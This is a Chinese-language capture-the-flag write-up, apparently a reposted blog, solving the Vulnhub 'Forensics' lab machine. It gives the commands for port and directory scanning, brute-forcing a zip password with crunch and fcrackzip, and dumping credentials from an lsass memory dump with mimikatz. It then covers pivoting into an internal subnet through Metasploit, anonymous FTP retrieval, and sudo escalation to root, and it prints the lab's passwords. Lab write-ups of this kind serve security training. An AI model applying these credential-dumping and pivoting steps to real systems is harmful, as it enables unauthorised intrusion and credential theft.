Vulnhub靶机实战-Forensics

发布日期：2021-06-29 11:27:38 浏览次数：2 分类：技术文章

本文共 4836 字，大约阅读时间需要 16 分钟。

声明

好好学习，天天向上

搭建

vmware打开，网络和攻击机一样，桥接模式

渗透

存活扫描，发现目标

arp-scan -l

端口扫描

nmap -T4 -A 192.168.31.152 -p 1-65535 -oN nmap.A

在这里插入图片描述

开启端口

发现开启80，22，很简单的两个端口

访问80

http://192.168.31.152

在这里插入图片描述

点一下右上角的get flag，真骚气

网站上图片好多呀，邮件查看源代码，发现images目录，访问一下

在这里插入图片描述

把这些图片都下载下来，看看fingerprint这个指纹，使用file命令查看，发现flag

在这里插入图片描述

dirb扫描txt后缀，发现tips.txt

dirb http://192.168.31.152 -X .txt

http://192.168.31.152/tips.txt

在这里插入图片描述

发现两个路径

/flag.zip/igolder

访问发现，一个zip，一个txt都下载下来

在这里插入图片描述

在线解密网址

https://youritmate.us/pgp/

滑到最下面粉红色处，输入message和私钥，使用私钥解密

Your encrypted message:填

Your private key:私钥填

点击解密后，message出变为明文，告诉我们密码是3位，前三位是for，后三位是数字

In case the forensic investigator forgets his password, this hint can help him, where the password is of 6 characters long , starting  3 characters is the word  "for" and the ending 3 characters are numeric

在这里插入图片描述

flag.zip是需要密码的，看来需要爆破出这个密码了

先生成字典

crunch 6 6 -t for%%% -o pass.dicfcrackzip -u -D -p pass.dic flag.zip

在这里插入图片描述

拿到windows里面看看，解压出来的pdf里面发现flag

在这里插入图片描述

还有一个DMP文件，打开mimikatz，进入命令行输入

sekurlsa::minidump C:\Users\attack\Desktop\delete\lsass.dmpsekurlsa::logonPasswords full

在这里插入图片描述

往下滑看到用户和密码

在这里插入图片描述

jasoosraj64fbae31cc352fc26af97cbdef151e03c220d333379050d852f3e65b010a817712b8c176

在线解密

在这里插入图片描述

ssh登录

ssh jasoos@192.168.31.152Password@1

登进去后，发现172开头的IP，该进行横向渗透了

在这里插入图片描述

主机存活&端口发现

nmap -sP 172.17.0.1/24nmap -T4 -A 172.17.0.1 -p 1-65535 -oN nmap.Anmap -T4 -A 172.17.0.2 -p 1-65535 -oN nmap.A

发现0.2开启了21ftp，进入之

ftp 172.17.0.2

不太好用，转用msf，内网渗透还是msf好使

use auxiliary/scanner/ssh/ssh_loginset rhosts 192.168.31.152set username jasoosset password Password@1exploitsession -u 1use post/multi/manage/autorouteset session 2exploitsession -u 2

在这里插入图片描述

使用ping去扫描存活主机（session设置成和上面那个一样）

use post/multi/gather/ping_sweepset session 1set rhosts 172.17.0.0/24exploit

在这里插入图片描述

扫描端口发现ftp，扫描ftp发现匿名访问

use auxiliary/scanner/portscan/tcpset rhosts 172.17.0.2set port 1-100exploituse auxiliary/scanner/ftp/anonymousset rhosts 172.17.0.2exploit

使用刚刚的ssh，进入ftp查看文件：

ftp 172.17.0.2anonymouslscd publsget saboot.001

在这里插入图片描述

下载到了靶机本地，需要靶机开启http，然后才能下载到攻击机本地

python -m SimpleHTTPServer

访问

http://192.168.31.152:8000

在这里插入图片描述

拿到flag3

解密creds.txt里面的文件内容

amVlbmFsaWlzYWdvb2RnaXJs

base64解密后

jeenaliisagoodgirl

在这里插入图片描述

su到用户forensic

su forensicjeenaliisagoodgirl

sudo -l具有root权限

sudo su root

在这里插入图片描述

拿到flag

在这里插入图片描述

总结

1.信息收集

发现80和22

80中源码包含敏感目录，查看敏感目录发现图片，查看图片属性拿到flag

dirb扫描txt后缀目录，发现敏感目录，里面后一个zip包和一个PGP的私钥+密文，在线PGP解密后，解压缩zip包发现flag以及DMP文件

2.web权限

无

3.shell权限

使用mimikatz打开DMP文件，发现用户+密码，解密密码后，ssh登录

通过横向渗透，发现另一台主机有ftp服务，匿名进入ftp服务，发现压缩包，下载到本地，解压后发现flag和密码密文，解密后su到这个用户

4.权限维持

无

5.提权

通过sudo直接su到root，拿到flag

转载地址：https://blog.csdn.net/zy15667076526/article/details/112770560 如侵犯您的版权，请留言回复原文章的地址，我们会给您删除此文章，给您带来不便请您谅解！

上一篇：Vulnhub靶机实战-Potato (SunCSR)

下一篇：Vulnhub靶机实战-CH4INRULZ

发表评论

关于作者

喝酒易醉，品茶养心，人生如梦，品茶悟道，何以解忧？唯有杜康！

-- 愿君每日到此一游！

声明

搭建

渗透

总结

发表评论

最新留言

关于作者

推荐文章